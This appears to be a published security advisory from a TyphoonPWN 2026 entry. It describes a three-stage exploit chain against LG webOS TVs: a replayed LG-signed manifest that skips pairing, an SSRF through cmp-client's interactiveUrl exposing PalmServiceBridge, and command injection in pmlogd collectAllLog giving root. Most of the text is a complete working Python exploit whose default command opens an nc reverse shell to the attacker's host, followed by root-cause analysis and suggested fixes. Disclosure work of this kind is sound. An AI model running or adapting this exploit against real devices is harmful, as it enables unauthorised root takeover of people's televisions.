Summary
This report covers a fullchain built from sync-demo LG-signed manifest replay client-key issuance bypass, cmp-client interactiveUrl PalmServiceBridge SSRF, and pmlogd collectAllLog targetDir command injection.
First, the attacker replays the LG-signed manifest embedded in com.webos.app.sync-demo. SSG trusts the signature and follows the STB_INTERNAL_CONNECTION prompt-skip path, issuing a SECURE-tier client-key without a PIN prompt. Then cmp-client navigates to an attacker-controlled interactiveUrl. The loaded page keeps the app instance bridge and calls Luna services as cmp-client. Finally, collectAllLog inserts targetDir and targetFile into shell command strings. Shell metacharacters in targetDir execute in the root PmLogDaemon context.
In practice, the attacker first obtains a client-key, then reaches a Luna method that WSS does not expose directly, and finally runs a command as root.
Vendor Response
LG has issued a fix that can be found at: https://lgsecurity.lge.com/bulletins/tv#updateDetails
Credit
An independent security researcher group, 78ResearchLab, won third play in the LG webOS category during TyphoonPWN 2026.
Affected Versions
- LG
32LQ636BPSA - LG
27TQ600SW - webOS 7.5.7-25 (Rockhopper, mullet-mirima), firmware
04.54.40
Technical Analysis
Scenario
- Obtain a client-key through
sync-demo LG-signed manifest replay client-key issuance bypass. - Reach the private/system Luna method through
cmp-client interactiveUrl PalmServiceBridge SSRF. - Deliver the
pmlogd collectAllLog targetDir command injectionpayload and runSHELL_CMDas root.
Reproduce
Step 1. Install Python dependencies.
python -m pip install websockets bleak
Step 2. Start a reverse shell listener.
nc -lvnp 4444
Step 3. Run the PoC with the target TV IP and attacker LAN IP.
TV_IP=<target_tv_ip> ATTACKER_IP=<attacker_lan_ip> REVSHELL_PORT=4444 python exploit.py
Step 4. For a non-interactive check, use a proof-file command instead of a reverse shell.
SHELL_CMD="id > /tmp/fullchain_proof.txt 2>&1" TV_IP=<target_tv_ip> ATTACKER_IP=<attacker_lan_ip> python exploit.py
Step 5. If /tmp/fullchain_proof.txt contains uid=0(root), the root command execution path is confirmed.
Proof of Concept
The PoC below is identical to the exploit.py used for this chain.
#!/usr/bin/env python3
import asyncio, base64, json, os, ssl, sys, time, threading
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import websockets
TV_IP = os.environ.get('TV_IP', '192.168.50.198')
ATTACKER_IP = os.environ.get('ATTACKER_IP', '192.168.50.96')
ATTACKER_PORT = int(os.environ.get('ATTACKER_PORT', '8088'))
REVSHELL_PORT = int(os.environ.get('REVSHELL_PORT', '4444'))
SHELL_CMD = os.environ.get('SHELL_CMD') or (
'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' +
ATTACKER_IP + ' ' + str(REVSHELL_PORT) + ' >/tmp/f'
)
WSS_URL = 'wss://' + TV_IP + ':3001'
print('[*] target ' + WSS_URL)
_id_ctr = 100
_pending = {}
_any = []
def _next_id():
global _id_ctr
v = _id_ctr; _id_ctr += 1; return v
def on_any(h):
_any.append(h)
def unsub():
if h in _any: _any.remove(h)
return unsub
async def _recv_loop(ws):
try:
async for raw in ws:
try: m = json.loads(raw)
except: continue
mid = m.get('id')
if mid is not None:
fut = _pending.get(mid)
if fut and m.get('type') in ('registered','response','error'):
_pending.pop(mid, None)
if not fut.done(): fut.set_result(m)
continue
for h in list(_any):
try: h(m)
except: pass
except Exception: pass
async def _send(ws, msg, timeout=10.0):
if 'id' not in msg: msg['id'] = _next_id()
loop = asyncio.get_running_loop()
fut = loop.create_future()
_pending[msg['id']] = fut
await ws.send(json.dumps(msg,separators=(',',':')))
try:
return await asyncio.wait_for(asyncio.shield(fut), timeout=timeout)
except asyncio.TimeoutError:
_pending.pop(msg['id'], None)
raise TimeoutError('timeout id=' + str(msg['id']))
async def acquire_a2(ws):
MANIFEST = {
'manifestVersion':1,'appVersion':'1.0',
'signed':{
'created':'20130630','appId':'com.lge.test','vendorId':'com.lge',
'localizedAppNames':{'':'B&O App','ko-KR':'B&O 앱','zxx-XX':'ЛГ Test Rэмotэ AПП'},
'localizedVendorNames':{'':'LG Electronics'},
'permissions':[
'TEST_SECURE','READ_RUNNING_APPS','READ_LGE_SDX','READ_LGE_TV_INPUT_EVENTS',
'READ_NOTIFICATIONS','SEARCH','WRITE_SETTINGS','WRITE_NOTIFICATION_ALERT',
'READ_UPDATE_INFO','STB_INTERNAL_CONNECTION','UPDATE_FROM_REMOTE_APP'
],
'serial':'3c6f8f1519ac979d1ce1064329e0f2e7'
},
'permissions':[
'LAUNCH','LAUNCH_WEBAPP','TEST_OPEN','TEST_PROTECTED','CONTROL_AUDIO',
'CONTROL_DISPLAY','CONTROL_INPUT_JOYSTICK','CONTROL_INPUT_MEDIA_RECORDING',
'CONTROL_INPUT_MEDIA_PLAYBACK','CONTROL_INPUT_TV','CONTROL_POWER','CONTROL_INPUT_TEXT',
'CONTROL_MOUSE_AND_KEYBOARD','READ_APP_STATUS','READ_CURRENT_CHANNEL',
'READ_INPUT_DEVICE_LIST','READ_NETWORK_STATE','READ_INSTALLED_APPS',
'READ_TV_CHANNEL_LIST','WRITE_NOTIFICATION_TOAST','WRITE_SETTINGS','READ_SETTINGS'
],
'signatures':[{'signatureVersion':1,
'signature':'eyJhbGdvcml0aG0iOiJSU0EtU0hBMjU2Iiwia2V5SWQiOiJ0ZXN0LXNpZ25pbmctY2VydCIsInNpZ25hdHVyZVZlcnNpb24iOjF9.lsnJGXZ7eA6bfJEU5q+0cvBNu+Ski72u0+InBNQUASejCwR8c+pdQEC/nuIWTZoqh42nTBEvUWecZ36C71yFxZOj15W80hgohFZQTIqg5ibppGJuGApdFIfZI7Ir9+NC5VVmsxLTy2aWTPL1l3J8eb4ElfHyybqjrn2ooFof4cd6gxn2SuxFoyU3jVkwiMgmZys51KJbgGMiUi2B0JM265eRavpA0StpZNzPYiKNHDSQFWjHJIE06GURPlTQ3jvHVxlEJlAqd0UdAP6XwrwBL6ZGrHsbE48MBFYAV7bNNbrIfM0le3FxagMfigouI3VbMpvdjTpSJAOTXDywXLNAgA=='
}]
}
for i in range(1, 4):
reg = await _send(ws, {'type':'register','payload':{'manifest':MANIFEST}})
if reg.get('payload', {}).get('client-key'):
return reg['payload']['client-key']
if i < 3: await asyncio.sleep(1.0)
raise Exception('A2: register failed after 3 attempts')
async def invoke_b2(ws, c_uri, c_params):
uri_b64 = base64.b64encode(c_uri.encode()).decode()
params_b64 = base64.b64encode(json.dumps(c_params,separators=(',',':')).encode()).decode()
page_url = 'http://' + ATTACKER_IP + ':' + str(ATTACKER_PORT) + '/p.html'
html = (
'<!DOCTYPE html><script>(function(){'
'var U="' + uri_b64 + '";var P="' + params_b64 + '";'
'function rep(t){try{fetch("/log?t="+encodeURIComponent(t)).catch(function(){});}catch(_){}}'
'if(window.PalmServiceBridge){'
' var b=new PalmServiceBridge();var d=false;'
' b.onservicecallback=function(r){if(d)return;d=true;rep("done");};'
' b.call(atob(U),atob(P));'
' setTimeout(function(){if(!d){d=true;rep("timeout");}},8000);'
'}'
'})();</script>'
)
loop = asyncio.get_running_loop()
done_evt = asyncio.Event()
def _make_handler():
class H(BaseHTTPRequestHandler):
protocol_version = 'HTTP/1.1'
def _send_body(self, status, body=b'', headers=None):
headers = headers or {}
if isinstance(body, str): body = body.encode('utf-8')
self.send_response(status)
for k, v in headers.items(): self.send_header(k, v)
self.send_header('Content-Length', str(len(body)))
self.end_headers()
if body: self.wfile.write(body)
def do_HEAD(self):
p = self.path or ''
if p.startswith('/p.html') or p == '/':
self._send_body(200, b'', {'Content-Type':'text/html; charset=utf-8','Access-Control-Allow-Origin':'*','Cache-Control':'no-store','Connection':'close'})
else:
self._send_body(200, b'', {'Connection':'close'})
def do_GET(self):
p = self.path or ''
if p.startswith('/p.html') or p == '/':
self._send_body(200, html, {'Content-Type':'text/html; charset=utf-8','Access-Control-Allow-Origin':'*','Cache-Control':'no-store','Connection':'close'})
elif p.startswith('/log'):
t = parse_qs(urlparse(p).query).get('t',[''])[0]
if t in ('done','timeout'):
loop.call_soon_threadsafe(done_evt.set)
self._send_body(200, b'OK', {'Access-Control-Allow-Origin':'*','Connection':'close'})
else:
self._send_body(200, b'OK', {'Connection':'close'})
def log_message(self, *a): pass
return H
ThreadingHTTPServer.allow_reuse_address = True
srv = ThreadingHTTPServer(('0.0.0.0', ATTACKER_PORT), _make_handler())
threading.Thread(target=srv.serve_forever, daemon=True).start()
async def _launch():
try:
await _send(ws,{'type':'request',
'uri':'luna://com.webos.applicationManager/closeByAppId',
'payload':{'id':'com.webos.app.cmp-client'}},timeout=3.0)
except: pass
await asyncio.sleep(0.6)
r = await _send(ws,{'type':'request',
'uri':'luna://com.webos.applicationManager/launch',
'payload':{'id':'com.webos.app.cmp-client','params':{'interactiveUrl':page_url}}})
if not r.get('payload') or r['payload'].get('returnValue') is False:
raise Exception('B2: launch failed')
try:
await _launch()
try: await asyncio.wait_for(done_evt.wait(), timeout=20.0)
except asyncio.TimeoutError: pass
if not done_evt.is_set():
await _launch()
try: await asyncio.wait_for(done_evt.wait(), timeout=20.0)
except asyncio.TimeoutError: pass
try:
await _send(ws,{'type':'request',
'uri':'luna://com.webos.applicationManager/closeByAppId',
'payload':{'id':'com.webos.app.cmp-client'}},timeout=3.0)
except: pass
finally:
srv.shutdown()
srv.server_close()
def c_payload():
return (
'luna://com.webos.pmlogd/collectAllLog',
{'targetDir':'X;' + SHELL_CMD + ';#','targetFile':'pwn'}
)
async def main():
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
async with websockets.connect(WSS_URL, ssl=ssl_ctx) as ws:
recv_task = asyncio.create_task(_recv_loop(ws))
try:
await acquire_a2(ws)
uri, params = c_payload()
await invoke_b2(ws, uri, params)
finally:
recv_task.cancel()
try: await recv_task
except asyncio.CancelledError: pass
print('exploit complete -- check nc listener')
if __name__ == '__main__':
try:
asyncio.run(main())
except Exception as e:
print('[ERR] ' + str(e), file=sys.stderr)
sys.exit(1)
Root Cause Analysis
Initial client-key acquisition: sync-demo LG-signed manifest replay client-key issuance bypass
The replay works because the signed manifest is already present on the device image.
var Gi = { type: "register", id: 1, payload: { manifest: {
signed: {
appId: "com.lge.test",
permissions: ["TEST_SECURE", "STB_INTERNAL_CONNECTION", "..."]
},
signatures: [{ signatureVersion: 1, signature: "eyJ..." }]
}}};
SSG verifies the manifest signature using the certificate referenced by the signature header. On the tested firmware, test-signing-cert.pem is trusted by SSG. After verification, the signed permissions are copied into the new client profile.
The prompt decision happens in ClientProfileManager.isPromptRequired():
if (newProfile.info.signed && newProfile.info.signed.permissions) {
if (_.contains(newProfile.info.signed.permissions, "STB_INTERNAL_CONNECTION")) {
return false;
}
}
Because the replayed manifest contains STB_INTERNAL_CONNECTION, SSG skips the pairing prompt and saves the profile. The register response contains a new client-key.
Luna reachability expansion: cmp-client interactiveUrl PalmServiceBridge SSRF
cmp-client reads interactiveUrl from its launch parameters and treats a successful HEAD response as enough validation.
if (params && params.interactiveUrl) {
fetch(params.interactiveUrl, { method: 'HEAD' })
.then(response => {
if (response.ok) {
window.location = params.interactiveUrl;
}
});
}
There is no scheme check, host allowlist, or origin restriction. The app then navigates to attacker-controlled content.
The navigation stays inside the same webOS app instance. The loaded page still has access to PalmServiceBridge:
var psb = new PalmServiceBridge();
psb.call("luna://com.webos.service.livepick/getJsonFile", JSON.stringify(payload));
cmp-client is a trusted app with private/public ACG access and broad outbound permissions. The attacker page can therefore call Luna methods that the original WSS client cannot call directly.
Root command execution: pmlogd collectAllLog targetDir command injection
collectAllLog builds shell command strings using request-controlled path fields.
v8 = g_strdup(targetDir);
v11 = g_strdup(targetFile);
snprintf(v66, "rm -rf%s", targetDir_var);
system(v66);
v43 = g_strdup_printf("cd%s; tar -zcvf%s.tar.gz var; rm -rf%s",
targetDir, targetFile, targetDir_var);
system(v43);
targetDir is not restricted to a safe path component. If the caller sends shell metacharacters, they become part of the command string.
{"targetDir":"X;id > /tmp/pwn.txt 2>&1;#","targetFile":"pwn"}
The shell executes id > /tmp/pwn.txt 2>&1 between the harmless prefix and the commented suffix. PmLogDaemon runs as root, so the injected command also runs as root.
Solution
Initial client-key acquisition: sync-demo LG-signed manifest replay client-key issuance bypass
Remove the hardcoded signed manifest from sync-demo.
Production firmware should not trust test-signing-cert.pem for remote pairing manifests. If STB_INTERNAL_CONNECTION is still needed, allow it only for specific appId/serial pairs and only from the expected local caller.
Luna reachability expansion: cmp-client interactiveUrl PalmServiceBridge SSRF
Validate interactiveUrl before navigation.
const u = new URL(params.interactiveUrl);
if (u.protocol !== "https:" || !ALLOWED_HOSTS.has(u.hostname)) {
window.close();
return;
}
Do not expose PalmServiceBridge to externally loaded pages. If cmp-client must load remote content, run that content in an untrusted WebView context with no Luna bridge.
Root command execution: pmlogd collectAllLog targetDir command injection
Treat targetDir and targetFile as path components, not shell text. Reject values containing /, whitespace, ;, &, |, backticks, $(), or absolute paths.
Replace system() with argv-based process execution. Archive output should be created only under a fixed base directory with sanitized names.